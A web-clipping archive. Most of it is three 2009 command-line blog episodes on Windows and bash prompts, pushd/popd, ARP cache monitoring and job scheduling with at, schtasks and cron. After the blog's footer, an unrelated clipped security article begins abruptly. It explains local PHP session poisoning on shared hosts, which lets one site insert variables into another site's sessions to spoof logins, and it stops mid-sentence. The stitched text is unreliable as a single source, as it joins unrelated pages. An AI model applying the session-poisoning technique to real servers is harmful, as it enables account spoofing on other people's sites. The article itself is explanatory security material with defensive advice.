Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1520.gif' width='18'
height='18' />

## Tuesday, July 21, 2009

### Episode \#52: Prompts & Pushing It

Ed goes:  
  
I was reading through our recent episodes the other day \(a wonderful pastime
activity that I encourage everyone to participate in\). In Episode \#49, Hal
mentioned a nice option for incorporating the current time in the command
prompt, a useful feature for forensics folks who want to record the time that
they executed each command, as well as for general sysadmins and testers who
want to see how long given activities take. In Episode \#38, I mentioned how
we could change our prompt by setting the environment variable called
"prompt", but I didn't give a bunch of options there. Let's explore these
options in more detail, starting with including the time in our prompt a la
Hal.  
  
First off, instead of using the "set prompt=\[whatever\]" command to set our
prompt to various values, we can alternatively use the prompt command to do
so. The advantage of the latter approach is that it allows us to see all the
glorious options we can use in setting our prompt:  
  

[code]

    C:\> prompt /?
    
[/code]

  
By default, we've got $P for the path and $G for the greater than sign. To
mimic Hal's prompt from Episode \#49, we could run:  
  

[code]

    C:\> prompt $C$T$F$G  
    ( 8:02:19.57)> dir  
    
    
[/code]

That gives us a prompt of open paren \($C\) followed by the time \($T\)
followed by close paren \($F\) followed by a greater than sign.  
  
For forensics guys, we may want to included the date as well, and remove the
parens:  
  

[code]

    C:\> prompt $D$S$T$G  
    Mon 07/20/2009  8:04:36.85>  
    
    
[/code]

Note that the $S is a space.  
  
Now, these changes are just temporary, applying only to the current cmd.exe
and any new cmd.exe processes it starts. To make the changes permanent, we
need to alter the PROMPT environment variable in the registry  
  

[code]

    Mon 07/20/2009  8:14:05.60>reg add "hklm\system\currentcontrolset\control\session manager\environment"  
             /v prompt /t reg_expand_sz /d $D$S$T$G  
    The operation completed successfully.  
    
    
[/code]

After a reboot, your prompt will be changed for all users.  
  
There is another interesting option we can add to our prompt via the $+
notation. This one will prepend our command prompt with a single plus sign for
each directory we've pushed onto our directory stack via the pushd command.
Wait a sec... before we get ahead of ourselves, let's look at the pushd and
popd commands a bit.  
  
When working in a given directory, sometimes you need to temporarily change
into another directory or two, do a little work there, and then pop back into
the original directory you were working in. The pushd and popd commands were
created to help make such transitions smoother. When changing directories,
instead of using the familiar cd command, you could run "pushd \[dir\]" as in:  
  

[code]

    Mon 07/20/2009  8:18:02.21> prompt $P$G  
    C:\Users\Ed> pushd c:\windows\system32  
    C:\Windows\System32>  
    
    
[/code]

This command will store your current directory in a stack in memory, and then
change you to the other directory \(in the case above, c:\Users\Ed will be
stored on a stack, and you will change to c:\windows\system32\). You can do
stuff in that other directory, and even change to other directories beyond
that. But, when your work is done there, you can go back to your original
directory by simply running:  
  

[code]

    C:\Windows\System32> popd  
    C:\Users\Ed>  
    
    
[/code]

While you can push a bunch of directories on this directory stack and then pop
them off in a LIFO operation, I find the pushd/popd commands most useful for
just storing a single directory I know I'll have to pop back into in the near
future, so I find myself often running:  
  

[code]

    C:\[wherever_I_am_working]> pushd .  
    
    
[/code]

Then, I do a little more work, and eventually change directories to where I
need to work temporarily. When I'm ready to go back to where I was, I can
simply popd. This technique is very helpful given that cmd.exe doesn't have
the "cd -" option found in bash so that I can simply change into a previous
directory I was in earlier.  
  
With that background of pushd and popd under our belts, we can now see what
the $+ does in our prompt -- It prepends one plus sign for each directory
we've pushed.  
  

[code]

    C:\> prompt $+$P$G  
    C:\> pushd c:\windows\system32  
    +C:\Windows\System32> pushd c:\Users\  
    ++C:\Users> pushd c:\temp  
    +++C:\temp> popd  
    ++C:\Users> popd  
    +C:\Windows\System32> popd  
    C:\>  
    
    
[/code]

The little pluses can help you remember how many things you have pushed on
your directory stack.  
  
And, if you wanted to get really elaborate and simulate the behavior of "cd -"
by implementing some simple scripts to use in place of cd, you could do the
following:  
  

[code]

    C:\> echo @pushd %1 > c:\windows\system32\cdd.bat  
    C:\> echo @popd > c:\windows\system32\cd-.bat  
    
    
[/code]

  
Now, instead of using "cd" to change directories, you could always run "cdd"
to do so \(I use that last d to remind me that it's pushing the directory onto
the directory stack\). Your new cdd command will work just like the old one,
but it will remember the directories you've changed from, pushing them on the
directory stack. Then, to go back to where you were before, you could run
"cd-" \(no space\). It looks like this in action:  
  

[code]

    C:\> cdd c:\users\ed  
    +C:\Users\Ed> cd-  
    C:\>  
    
    
[/code]

  
  
Whither Ed goest, Hal will go\!  
  
Ed, you say you want the date in the prompt in addition to the time? So be it:  
  

[code]

    $ **export PS1='\D{%D %T}> '**  
     07/20/09 10:02:50>
    
[/code]

  
Unlike "\t" for the time code, there's no built-in escape sequence for
including the date in the prompt. But bash does recognize "\D\{...\}" to
insert an arbitrary set of strftime\(3\) escape sequences. This is very
flexible, though not quite as terse. I could even add the day name to fully
emulate Ed's Windows madness:  
  

[code]

    07/20/09 10:02:50> **export PS1='\D{%a %D %T}> '**  
     Mon 07/20/09 10:08:16>
    
[/code]

  
You'll also notice that Unix allows us to specify spaces as actual spaces
rather than "$S". What will those wacky Unix folks think of next?  
  
Windows totally stole the pushd/popd idea from the Unix shell, and it works
pretty much the same on both platforms:  
  

[code]

    $ export PS1='[\w]$ '  
    [~]$ **pushd /tmp**  
     /tmp ~  
    [/tmp]$ **pushd /usr/local/bin**  
     /usr/local/bin /tmp ~  
    [/usr/local/bin]$ **popd**  
     /tmp ~  
    [/tmp]$ **popd**  
     ~
    
[/code]

  
You'll notice that bash prints the directory stack after each pushd/popd
operation, sort of as a reminder of where you are. You can also use the dirs
command to dump the directory stack \(in several different formats\) or even
clear the stack entirely:  
  

[code]

    [~]$ **pushd /tmp**  
     /tmp ~  
    [/tmp]$ **pushd /usr/local/bin**  
     /usr/local/bin /tmp ~  
    [/usr/local/bin]$ **dirs**         # default  
    /usr/local/bin /tmp ~  
    [/usr/local/bin]$ **dirs -l**      # expand ~ to full pathname  
    /usr/local/bin /tmp /home/hal  
    [/usr/local/bin]$ **dirs -p**      # one dir per line  
    /usr/local/bin  
    /tmp  
    ~  
    [/usr/local/bin]$ **dirs -c**      # clear the stack  
    [/usr/local/bin]$ **dirs**  
     /usr/local/bin
    
[/code]

  
You can even use popd to selectively remove elements from the directory stack:  
  

[code]

    [/opt]$ **dirs**  
     /opt /dev /usr/local/bin /tmp /usr /var /etc ~  
    [/opt]$ **popd +2**  
     /opt /dev /tmp /usr /var /etc ~
    
[/code]

  
Notice that the elements of the directory list are numbered starting with zero
\(in C, arrays are numbered starting from zero and this convention was carried
through to most Unix utilities\), so "popd +2" removes the third element
counting from the left. "popd -2" would remove the third element counting in
from the right.  
  
Unlike Windows, we don't have to create a script file to make a cdd command on
our Unix systems. We can just make an alias:  
  

[code]

    [~]$ **alias cdd=pushd**  
    [~]$ **cdd /tmp**  
     /tmp ~  
    [/tmp]$
    
[/code]

  
What is interesting is that there's no built-in Unix equivalent for the
Windows "$+" prompting functionality. But since the bash shell does command
substitution on $PS1 \(if necessary\) each time it emits a shell prompt, we
can hack our own solution together:  
  

[code]

    [~]$ **export PS1='`for ((i=1; $i < ${#DIRSTACK[*]}; i++)); do echo -n +; done`[\w]$ '**  
    [~]$ **pushd /etc**  
     /etc ~  
    +[/etc]$ **pushd /tmp**  
     /tmp /etc ~  
    ++[/tmp]$ **pushd /usr**  
     /usr /tmp /etc ~  
    +++[/tmp]$ **popd**  
     /usr /etc ~  
    ++[/usr]$ **popd**  
     /etc ~  
    +[/etc]$ **popd**  
     ~  
    [~]$
    
[/code]

  
As you can see, I've added an expression in backticks at the front of the
declaration for $PS1, so whatever text this sequence of commands results in
will be incorporated into the shell prompt. Inside the backticks, I'm using a
for loop to produce the necessary plus signs. To terminate the loop, I'm
comparing against "$\{\#DIRSTACK\[\*\]\}" which translates to "the number of
elements in the $DIRSTACK array variable". $DIRSTACK is a highly magical
environment variable that stores the elements of the directory stack that
pushd and popd use.  
  
You'll also notice that I'm starting the loop at offset 1 rather than offset
0. As you can see in Ed's Windows example, the "$+" element only counts the
number of directories that have been explicitly pushed onto the stack with
pushd. However, the bash $DIRSTACK variable always includes the current
working directory. So when you pushd for the first time, the number of
elements in $DIRSTACK is actually two: your original directory that you
started in, plus the new directory you pushd-ed onto the stack. Anyway, I
started my loop counter variable at 1 to more closely emulate the Windows
behavior.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1520.gif' width='18'
height='18' />

## Tuesday, July 14, 2009

### Episode \#51: Leapin Lizards\! ARP Stuff\!

It's Hal's turn in the Bucket:  
  
Mr. Bucket was pointing out the other day that we haven't had much to say
about viewing and manipulating the ARP cache from the command line, and that's
a darn shame. So let's remedy that little oversight right now.  
  
The ARP cache is the system's local mapping of ethernet addresses to IP
addresses of machines on the same LAN. On Unix systems, you can use "arp -a"
to dump the cache or just dump information for a particular host:  
  

[code]

    $ **arp -a**  
    gw.deer-run.com (192.168.1.1) at 00:04:23:5f:20:98 [ether] on eth0  
    deer.deer-run.com (192.168.1.2) at 00:30:48:7b:22:2e [ether] on eth0  
    $ **arp -a gw**  
    gw.deer-run.com (192.168.1.1) at 00:04:23:5f:20:98 [ether] on eth0
    
[/code]

  
As with most network administration commands on Unix, the "-n" flag suppresses
the hostname information, in case you're having name resolution problems that
are causing the command to hang:  
  

[code]

    $ **arp -an**  
    ? (192.168.1.1) at 00:04:23:5f:20:98 [ether] on eth0  
    ? (192.168.1.2) at 00:30:48:7b:22:2e [ether] on eth0
    
[/code]

  
Occasionally monitoring your ARP cache can be interesting, because it can
alert you when system hardware is changing on your network and also to ARP
spoofing attacks. Here's a little bit of shell fu to watch for changes to a
particular ARP entry:  
  

[code]

    $ **while :; do c=`arp -a 192.168.1.1 | awk '{print $4}'`; \  
           [ "X$c" == "X$p" ] && echo "$c (OK)" || echo "$p to $c (CHANGED)"; \  
           p=$c; sleep 5; done**  
    to 00:04:23:5f:20:98 (CHANGED)  
    00:04:23:5f:20:98 (OK)  
    00:04:23:5f:20:98 (OK)  
    ^C
    
[/code]

  
Notice the equality test where I'm putting an "X" in front of the value of
each variable \("X$c" == "X$p"\)? That's a common trick for doing comparisons
where one of the values might be null-- as in our case when we first enter the
loop and $p is not set yet. If we just wrote, "\[ $c == $p \]", the shell
would generate a syntax error message during the first pass through the loop
because it would interpret our fu as "\[ 00:04:23:5f:20:98 == \]" which is
clearly bogus. The extra "X" ensures that neither side of the comparison is
ever empty.  
  
Actually, the above example is a little bogus \(though it includes plenty of
tasty shell fu\), because there's already a tool called Arpwatch that will
monitor your ARP cache for changes-- expected or otherwise. I'll often run
this tool on a couple of machines on critical networks, just to look for signs
of hanky panky.  
  
If you're running with root privileges, you can also use the arp command to
manually manipulate your ARP cache. For example, "arp -d" deletes ARP entries.
However, since ARP dynamically relearns the deleted entries, they don't tend
to stay deleted for long:  
  

[code]

    # **arp -d deer**  
     # **arp -a**  
    gw.deer-run.com (192.168.1.1) at 00:04:23:5f:20:98 [ether] on eth0  
    deer.deer-run.com (192.168.1.2) at  on eth0  
    # **ping -c 1 deer >/dev/null**  
     # **arp -a**  
    gw.deer-run.com (192.168.1.1) at 00:04:23:5f:20:98 [ether] on eth0  
    deer.deer-run.com (192.168.1.2) at 00:30:48:7b:22:2e [ether] on eth0
    
[/code]

  
The root account can also use "arp -s" to add static ARP assignments to the
cache. For example, I was recently debugging a VPN problem for one of my
customers and we suspected the Open Source VPN software we were running on our
Unix system wasn't properly doing Proxy ARP for the remote clients. So we
manually added an ARP entry for the client we were testing with that pointed
to the MAC address of our gateway \(note that you must do this on the gateway
machine that is the owner of the specified MAC address\):  
  

[code]

    # **arp -s 192.168.1.202 00:04:23:5f:20:98 pub**  
     # **arp -an**  
    ? (192.168.1.2) at 00:30:48:7b:22:2e [ether] on eth0  
    ? (192.168.1.202) at  PERM PUB on eth0
    
[/code]

  
The extra "pub" argument means that the host should "publish" this static ARP
entry-- that is, respond with our local MAC address when other hosts on the
LAN make ARP requests for 192.168.1.202. In other words, our gateway should
perform Proxy ARP for this address.  
  
Since we did not specify the "temp" option in the above command, this static
ARP entry will persist until we reboot the machine. If you specify "temp",
then the entry will time out as normal when your system flushes its ARP cache.
Generally, though, if you're specifying static ARP entries, you're doing it
for a reason and you want them to stick around. For example, some highly
secure sites will populate static ARP entries for all authorized hosts on
their local LANs in order to thwart ARP spoofing attacks \(static ARP entries
will never be overwritten by dynamic ARP information learned from the
network\). Of course, the static ARP entries will need to be reloaded every
time the system reboots, so you'll need to create a boot script to
automatically reload the entries from a configuration file. And you'd need to
update the configuration file every time a host was added or a NIC was changed
on the LAN. It's a huge hassle and not normally done in practice.  
  
That's about it for ARP on Unix. If memory serves, things aren't too different
on Windows, but I bet Ed has some tasty fu for us anyway...  
  
Ed responds to Hal's Bucket Screed:  
As Hal anticipated, the arp command on Windows is very similar to the Linux
version, but there are a few annoying deltas. To dump the ARP cache, we can
run:  
  

[code]

    C:\> arp -a  
      
    Interface: 10.10.10.15 --- 0x10003  
    Internet Address      Physical Address      Type  
    10.10.10.45           00-0c-29-c2-9f-1b     dynamic  
    10.10.11.11           de-ad-be-ef-00-00     static  
    10.10.75.1            00-0c-29-a3-2c-8b     dynamic  
    
    
[/code]

  
There are a couple of noteworthy things here: First off, we don't see host
names. The Windows arp command works exclusively with IP addresses and not
names. Thus, we don't have a -n option, and cannot enter domain names of the
machines at command line. If we want to zoom in on individual machines, we
need to enter an IP address, not a name:  
  

[code]

    C:> arp -a 10.10.11.11  
      
    Interface: 10.10.10.15 --- 0x10003  
    Internet Address      Physical Address      Type  
    10.10.11.11           de-ad-be-ef-00-00     static  
    
    
[/code]

  
Next, note that we have that "Type" column, which tells us whether an entry is
dynamic or static. This is handy, because we can list all static ARP entries
using:  
  

[code]

    C:\> arp -a | find "static"  
    
    
[/code]

  
Next, note that the Windows arp command uses dashes between octets in the MAC
address, and not colons. This is annoying, and I often type it wrong before I
type it right.  
  
Hal's ARP-monitoring command is fun and useful, so I tried to mimic its
functionality almost identically on Windows, coming up with the following
command \(brace yourselves\):  
  

[code]

    C:\> cmd.exe /v:on /c "for /l %i in (1,0,2) do @for /f "skip=3 tokens=2" %i in  
    ('arp -a 10.10.10.45') do @set current=%i & (if X!current!==X!previous!  
    (echo %i ^(OK^)) else echo !previous! to %i ^(CHANGED^)) & set previous=%i  
    & ping -n 6 127.0.0.1 > nul)"  
      
    !previous! to 00-0c-29-c2-9f-1b (CHANGED)  
    00-0c-29-c2-9f-1b (OK)  
    00-0c-29-c2-9f-1b (OK)  
    00-0c-29-c2-9f-1b (OK)  
    00-0c-29-c2-9f-1b (OK)  
    00-0c-29-c2-9f-1b  to 01-02-03-04-05-06 (CHANGED)  
    01-02-03-04-05-06 (OK)  
    01-02-03-04-05-06 (OK)  
    01-02-03-04-05-06 (OK)  
    
    
[/code]

To analyze this command, let's work our way from the outside in. I'm invoking
a cmd.exe with delayed environment variable expansion so that I can store and
compare some variables inside my command. I then have a FOR /L loop that
counts from 1 to 2 in steps of zero to keep this puppy running forever. I add
a 5-second delay at the end by pinging 127.0.0.1 six times. Now, we get to the
core of the command. I run a FOR /F loop to parse the output of my arp
command, skipping 3 lines of output to zoom in on what I want, grabbing the
second item \(the MAC address\), which I place into iterator variable %i. At
each step through the loop, I set the variable "current" to my iterator
variable so I can compare it against my previous MAC address for that ARP
table entry with an IF statement. IF statements don't like to deal with FOR
loop iterator variables, so I have to move my %i value into "current" for
comparison. I then compare it with the previous value, using Hal's little X
prepend trick so they are never empty strings. If they match, I print out the
MAC address \(%i\) and the "\(OK\)" just like Hal does. I have to put ^'s in
front of my parens so that echo knows to display them. If the current and
previous MAC address from that arp entry do not match, I print out that the
previous changed to %i followed by "\(CHANGED\)". Finally, I store the current
value of %i as my "previous" variable and then wrap around. It's not elegant,
but it gets the job done, and looks very similar to the output and
functionality of Hal's command.  
  
Lessee... what other stuff does Hal have for us?  
  
Yup... we have "arp -d" to delete an ARP entry:  
  

[code]

    C:\> arp -d 10.10.10.45  
    
    
[/code]

  
And, we also have arp -s to plant a static ARP entry:  
  

[code]

    C:\> arp -s 10.10.10.45 01-02-03-04-05-06  
    
    
[/code]

  
Unfortunately, the Windows arp command does not have a "pub" option like the
Linux command to implement proxy ARP functionality.  
  
By the way, this whole discussion of the arp command was triggered by Byte
Bucket's comment to Hal and me in our discussion of scheduling tasks. Byte
\(if I can be so informal\) mentioned that on Windows, to define a static ARP
entry, Microsoft recommends that you schedule a startup task, by saying, "To
create permanent static ARP cache entries, place the appropriate arp commands
in a batch file and use Scheduled Tasks to run the batch file at startup."
This is a good idea if you ever want to hard code your arp tables to avoid ARP
cache-poisoning attacks. Of course, in their recommendation, Microsoft never
tells you how to actually do this. Well, never fear... Command Line Kung Fu is
here\!  
  
We start by creating our batch file for the static ARP entry:  
  

[code]

    C:\> echo arp -s 10.10.10.45 aa-bb-cc-dd-ee-ff > C:\static_arp.bat  
    
    
[/code]

  
You can add more static arp entries into this file if you'd like, echoing in
one arp command per line, appending to the file with >>. I'm storing it right
in c:\ itself for easy spotting, although you may find that tucking it away
somewhere you keep your admin scripts is a less clutterful approach. Then, we
make that a startup task using the schtasks command, which we described in our
last episode \(\#50\):  
  

[code]

    C:\> schtasks /create /sc onstart /tr c:\static_arp.bat /tn static_arp  
    
    
[/code]

  
And there you have it\! We've seen how to make a little arp-cache watcher in a
single command, as well as how to implement static arp entries at system
startup. Good topic, Hal\!  
  
UPDATE: Diligent reader Curt points out that in Windows Vista and 7, you can
add a static ARP entry using the netsh command, with the following syntax:  
  

[code]

    C:\> netsh interface ipv4 add neighbors "Local Area Connection" 10.1.1.1 12-34-56-78-9a-bc
    
[/code]

  
And, I'm delighted to report that this will survive a reboot, so no scheduled
task startup script is required. However, this neighbors context for netsh
only appears in Vista, 2008, and Win7. In XP or 2003, you can go with the
schtasks method I outline above. Thanks for the input, Curt\!

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1520.gif' width='18'
height='18' />

## Tuesday, July 7, 2009

### Episode \#50: Scheduling Stuff

Ed begins:  
  
The other day, I was going through the 49 episodes of this blog we've
developed so far when it occurred to me -- besides an occasional minor mention
of the cron daemon by Hal, we haven't done much at all with scheduled tasks\!
Heaven forbid\! And, there's some pretty important gotchas to avoid when
scheduling stuff in Windows.  
  
Back in the Mesozoic Era, dinosaurs like me scheduled our jobs on Windows
using the "at" command. It was nice and simple, with no bells or whistles. And
it's still there, offering a quick and easy way to schedule a job:  
  

[code]

    C:\> at [\\machine] HH:MM[A|P] [/every:day] "command"
    
[/code]

  
If you don't specify a \\\machine, the command is run locally. You need to
have admin credentials on the local or remote machine where you're scheduling
the job. The job itself will run with system privileges. Some versions of
Windows support 24-hour military time, and some do not. But, all versions of
Windows support HH:MM followed by a cap-A or cap-P. If you omit the /every:
option, the command runs just once at the time you specify. If you do provide
a /every:day, you can specify the day as a day of the month \(1-31\) or a day
of the week \(monday, tuesday, etc.\) Remember, if you schedule something for
the 31st day of the month, it won't run in months with fewer days: February,
April, June... well, you remember the mnemonics, I'm sure.  
  
The at command by itself will show which jobs were scheduled using the at
command:  

[code]

    C:\> at \\PaulsComputer  
    Status ID   Day                     Time          Command Line  
    -------------------------------------------------------------------------------  
          1   Today                   7:00 PM       WriteTenableBlog.bat  
          1   Each Th                 7:00 PM       RecordPodcast.bat  
          2   Each F                  3:00 PM       WashHalsCar.bat  
          3   Each F                  3:00 PM       PickupHalsDrycleaning.bat  
          4   Each F                  4:00 PM       GiveHalBackrub.bat  
          5   Each F                  6:00 PM       GoToTherapistSession.bat  
          6   Each 28                 12:00 PM      PayPsychBill.bat  
    
    
[/code]

Note that there is no need to list who the job will run as, because, when
scheduled using the at command, it runs with SYSTEM privileges.  
  
See those little ID numbers at the beginning of each task? We can use them to
refer to tasks, especially to delete them. A simple "at 1 /del" will delete
task 1. To kill all the tasks, and let God sort them out, we could run:  
  

[code]

    C:\> FOR /F "skip=2" %i in ('at') do @at %i /del
    
[/code]

  
Regular readers of this blog should instantly know what I'm doing here: just
running the at command, parsing its output by skipping column headers and
----- to zoom in on the ID number, which I then delete.  
  
I still use the at command for quick and dirty scheduling where I want simple
syntax to make something run with system privs. But, a far more flexible way
to schedule jobs is to use the more recent schtasks command. This is the way
Microsoft wants us to go for modern task scheduling. The syntax includes a
myriad of options for creating, deleting, querying, changing, and invoking
tasks. The syntax is so complicated, by the way, I haven't been able to
actually memorize it all, and I've tried. I won't reproduce all the usage
options here \(run "schtasks /?" for details\), but will instead focus on
creating and querying tasks.  
  
To create a task, you could use the following syntax:  
  

[code]

    C:\> schtasks /create [/s system_name] [/u username] [/p password] [/ru runuser]  
       [/rp runpassword] /sc shedule /mo modifier /tn taskname /tr taskrun  
       /st starttime /sd startdate 
    
[/code]

  
As with the at command, schtasks schedules locally unless you specify a remote
machine with the /s option \(oh, and no \\\ is used before the system name
here\). The /u and /ru give some people a bit of trouble. The /u and /p refer
to the credentials you want to use for a remote machine to schedule the task.
The at command always used your current credentials, while schtasks gives you
an option to use other credentials to do the scheduling. When it actually
starts, the task itself will run with the /ru and /rp credentials. If you want
system credentials, just use "/ru SYSTEM" and leave off the /rp.  
  
The /sc schedule can be minute, hourly, daily, weekly, once, onlogon \(when
you specify a given user\) and much m ore. The /mo modifier specifies how
often you want it to run within that schedule. So, for example, to run every 2
hours, you could use "/sc hourly /mo 2".  
  
The /tn taskname is a name of your choosing. The /tr is the actual command you
want to run.  
  
The /st startime is specified in 24-hour military time. Some versions of
Windows will accept it in HH:MM format, but many versions of Windows require
HH:MM:SS. I always use the latter to make sure my command works across Windows
versions. And, finally, /sd has a date in the form of MM/DD/YYYY.  
  
When run by itself \(with no options\), schtasks shows scheduled tasks \(the
same output we get from "schtasks /query"\).  
  
AND HERE IS A REALLY IMPORTANT POINT\! The at command shows only the jobs
scheduled via the at command itself. The schtasks command shows all jobs
scheduled via schtasks as well as the at command. If you are relying only on
the at command to display jobs, you are missing all those tasks scheduled via
schtasks. Also, wmic has a job alias. You might think that it would show all
jobs, right? Wrong\! Like the at command, "wmic job show full" displays only
those jobs created using the at command, and does not display jobs created via
schtasks. You've been warned\!  
  
Both the schtasks and at commands, when they schedule a job, create a file
summarizing the job in C:\windows\tasks on Win XP Pro and later, and in
c:\windows\system32\tasks in Vista, 2008 Server, and Windows 7. The XP-style
file is an ugly blob of non-ASCII printable data. The Vista and later files
are considerably less ugly XML. I know you may be tempted to delete tasks by
removing these files. I caution you against it. I've found that deleting at-
style tasks by removing their files in XP works just fine, but it doesn't
remove all traces of at-style tasks in Vista and later. Your best bet is to
use "at \[n\] /del" and "schtask /delete \[options\]".  
  
Even though its got a bazillion-plus options, the schtasks command does not
have the option of displaying only those tasks associated with a given user or
scheduled to run on a certain frequency or date. But, we can use a little
command-line kung fu to tease that information out. The technique is all based
on a useful option in "schtasks /query" which allows us to specify the output
format with /fo, with options including table, list, or csv. The table and
list formats are nice, but csv is especially useful. The /v option gives us
verbose output, which holds all of the attributes of our tasks.  
  
With that info, you can create a nice CSV file with all of your tasks to open
in a spreadsheet by running:  
  

[code]

    C:\> schtasks /query /v /fo csv > tasks.csv  
      
    C:\> tasks.csv  
      
    
    
[/code]

  
In your spreadsheet program, you can see the various column names for all the
fields. We could then search just for some specific output in the tasks.csv
file using findstr for strings or even regex. For example, if you want a list
of jobs scheduled to run weekly, you could use:  
  

[code]

    C:\> schtasks /query /v /fo csv | findstr /i weekly
    
[/code]

  
Or, if you want a list of jobs associated with the SYSTEM user, you could run:  
  

[code]

    C:\> schtasks /query /v /fo csv | findstr /i system
    
[/code]

  
Using this as your base command, there are a myriad of other options you can
search for, including dates and times.  
  
Hal chimes in:  
  
Ed, I'm so stoked you brought up this topic\! For the Unix people reading this
blog, I want to see a show of hands from people who knew that Unix had its own
"at" command. OK, for the three of you who have your hands raised, put your
hands down unless you've actually used an "at" job within the last year. Yeah,
I thought so.  
  
It's a real shame that the "at" command has dropped so far out of the "common
knowledge" for Unix folks because at jobs are really useful. At their most
basic level, you can think of an at job as a one-shot cron job:  
  

[code]

    # **echo find /tmp -type f -mtime +7 -exec rm {} \\\; | at 00:00**  
     warning: commands will be executed using /bin/sh  
    job 1 at Tue Jul  7 00:00:00 2009
    
[/code]

  
You feed in the commands you want executed on the standard input, or you can
use "at -f" to read in commands from a file.  
  
You can use "atq" to get a list of all the pending jobs along with their job
numbers:  
  

[code]

    # **atq**  
     1 Tue Jul  7 00:00:00 2009 a root
    
[/code]

  
But if you want to view the details of a pending job, you need to use "at -c
jobnum" \("-c" for "confirm" is how I always remember it\):  
  

[code]

    # **at -c 1**  
     #!/bin/sh  
    # atrun uid=0 gid=0  
    # mail root 0  
    umask 22  
    USER=root; export USER  
    PWD=/home/hal; export PWD  
    HOME=/root; export HOME  
    LOGNAME=root; export LOGNAME  
    cd /home/hal || {  
      echo 'Execution directory inaccessible' >&2  
      exit 1  
    }  
    find /tmp -type f -mtime +7 -exec rm {} \;
    
[/code]

  
You'll notice that when at sets up the job, it's careful to preserve the
environment variable settings in the current shell, including the umask value.
It even makes sure to cd into the directory from which you scheduled the at
job, just in case your at job uses relative path names. Very smart little
program.  
  
Finally, "atrm" allows you to cancel \(remove\) jobs from the queue:  
  

[code]

    # **atq**  
     1 Tue Jul  7 00:00:00 2009 a root  
    # **atrm 1**  
     # **atq**
    
[/code]

  
What's cool about the Unix at command compared to the Windows version is that
you have much more flexibility as far as time scheduling formats. All of the
following are valid:  
  

[code]

    # **at -f mycommands 00:00 7/10**       # run mycommands at midnight on Jul 10  
    # **at -f mycommands midnight 7/10**    # "noon" and "teatime" (4pm) are also valid  
    # **at -f mycommands 00:00 + 4 days**   # expressed as relative date offset  
    # **echo init 0 | at now + 2 hours**    # power off system in two hours
    
[/code]

  
Many more time specifications are allowed-- please consult the at manual page.  
  
For jobs that need to run more than once, you're supposed to use cron.
Typically cron jobs are created using an interactive editor via "crontab -e".
But sometimes you want to set up a cron job directly from the command line
without using an editor-- for example when I'm using a tool like fanout to set
up the same cron job on multiple systems in parallel. In these cases, my usual
tactic is to do a sequence of commands like:  
  

[code]

    # **crontab -l > /root/crontab**                  # dumps current cron jobs to file  
    # **echo '12 4 * * * /usr/local/bin/nightly-cleanup' >> /root/crontab**  
     # **crontab /root/crontab**                       # replaces current jobs with modified file  
    # **rm /root/crontab**                            # cleaning up
    
[/code]

  
It's kind of a hassle actually, but it works. By the way if you're root but
want to operate on another user's crontab file you can just add the "-u" flag,
e.g. "crontab -u hal -l".  
  
The first five columns in the cron entry are the time and day spec for when
you want the cron job to operate. The first column is "minutes" \(0-59\), the
second "hours" \(0-23\), then "day of month" \(1-31\), "month" \(1-12\), and
"day of week" \(0-7, Sunday is 0 or 7\). Here are some examples:  
  

[code]

    12 4 * * * /usr/local/bin/nightly-cleanup             # every morning at 4:12am  
    0,15,30,45 * * * * /usr/sbin/sendmail -Ac -q          # every 15 minutes  
    15 0 * * 0 /usr/local/sbin/rotate-tape                # Sundays at 15 past midnight  
    0 0 1 * * find /var/log -mtime +30 -exec gzip {} \;   # the first of every month  
    0 0 22 8 * /usr/local/bin/anniversary-reminder        # every year on 8/22
    
[/code]

  
Frankly, I don't find myself using the 3rd and 4th columns all that
frequently, or really even the 5th column all that much. Most of my jobs tend
to run nightly at some regular time.  
  
By the way, you'll discover that old farts like me have a thing about not
scheduling cron jobs between 2am and 3am. That's because older cron daemons
had trouble dealing with Daylight Savings Time shifts, and would either skip
jobs entirely or run them twice depending on which way the clock was shifting.
This was fixed by Paul Vixie in his "Vixie cron" package, which is the
standard cron daemon on Linux these days, but may still be an issue if you
have older, proprietary Unix systems still running around. Check the man page
for the cron daemon on your system if you're not sure.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1520.gif' width='18'
height='18' />

August 2009 June 2009 Home

Subscribe to: Posts \(Atom\)

## Followers

  *[5:00 AM]: 2009-07-07T05:00:00-04:00

# Haxxor Security: Local Session Poisoning in PHP Part 1: The Basics of
Exploitation and How to Secure a Server

**Created:**| _9/8/2011 11:30:43 AM_  
---|---  
**Updated:**| _9/14/2011 9:11:37 AM_  
**Author:**| __  
**Tags:**| _attacks php_  
  

### Local Session Poisoning in PHP Part 1: The Basics of Exploitation and How
to Secure a Server

Session poisoning is the act of manipulating sessions specific data in PHP. To
add, change or remove variables stored in the super global $\_SESSION array.  
  
Local session poisoning is enabled by the fact that one web application can
manipulate a variable in the $\_SESSION array while another web application
has no way of knowing how that variable's value came to be, and will interpret
the variable according to its own logic. The $\_SESSION array can then be
manipulated to contain the values needed to spoof a logged in user or exploit
a vulnerable function. PHP programmers put far more trust in $\_SESSION
variables than for example $\_GET variables. The $\_SESSION array is
considered an internal variable, and an internal variable would never contain
malicious input, would it?

## Article series

Part 1: The Basics \(this article\)  
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html  
  
Part 2: Promiscuous Session Files  
\(under construction\)  
  
Part 3: Bypassing Suhosin's Session Encryption  
\(under construction\)  
  
Stay tuned for part 2 & 3\. They will soon be posted here at
http://ha.xxor.se.

## PHP's session storage

By default PHP's option "session.save\_handler" is set to "files" which is the
most commonly used session handler. In this configuration a serialized string
representation of the $\_SESSION array is stored in a file. These files are
stored in a directory specified by the configuration option
"session.save\_path", and their names are composed of the prefix "sess\_"
followed by the session id.  
  
The default way to tie a client to a session is to store the session id in a
cookie called "PHPSESSID". The client can easily switch between session by
modifying this cookie.

## Shared hosting environments

In shared hosts it is a common practice to use a collective session storage,
to store all of the hosted web applications' session files in the same folder.
This type of configuration is strongly advised against as it in just about
every case is vulnerable to session poisoning and enables local users to
insert arbitrary variables in other users' web application sessions.  
  
There are security layers, patches and plugins to PHP which you would think
prevents local session poisoning in shared hosts. suPHP and suEXEC uses
ownership and strict permissions on the files in PHP's session storage.
However it is trivial to fool this system, as described in part two of this
article series. Suhosin offers options to encrypt the session files but in its
default configuration it can easily be bypassed, as described in part three of
this article series.  
  
Local session poisoning is a significant threat even when faced with a remote
attacker. If a determined attacker fails to find any exploitable
